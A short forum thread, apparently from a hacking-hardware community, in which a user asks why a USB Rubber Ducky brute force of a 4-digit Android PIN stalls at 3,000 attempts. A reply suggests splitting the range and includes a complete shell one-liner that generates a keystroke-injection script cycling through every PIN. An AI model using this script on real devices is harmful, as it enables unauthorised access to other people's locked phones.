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USB Duck android 4 pin hack - stops after 3,000 attempts?


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Using the ducky to brute force an android motorola droid 3 (chinese phone) 4 pin phone lock, it seems to stop after 3,000 attempts ..no idea why? Any thoughts or suggestions

2nd question:

How do you know if the brute force script has worked, is some kind of msg created or such like showing what the phone lock pin code is/was?

Thanks in advance for any replies :-)

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I presume you're using Darren's script that he showed on the video (seen below) in order to generate the .txt file? Assuming so, I've never got that far along the attempts but will do my best to try it out. At worst, you could break the code up into 4 files (1-2500, 2501-5000, etc) and run it iteratively.

Either way, there won't be a log created because it is acting like a keyboard so there isn't a way to do an if/then or while statement to verify if you're in and, if so, to create a message. You'd have to keep tabs on it to see when it gets unlocked so you know know the range of pin numbers that you were trying.


echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt

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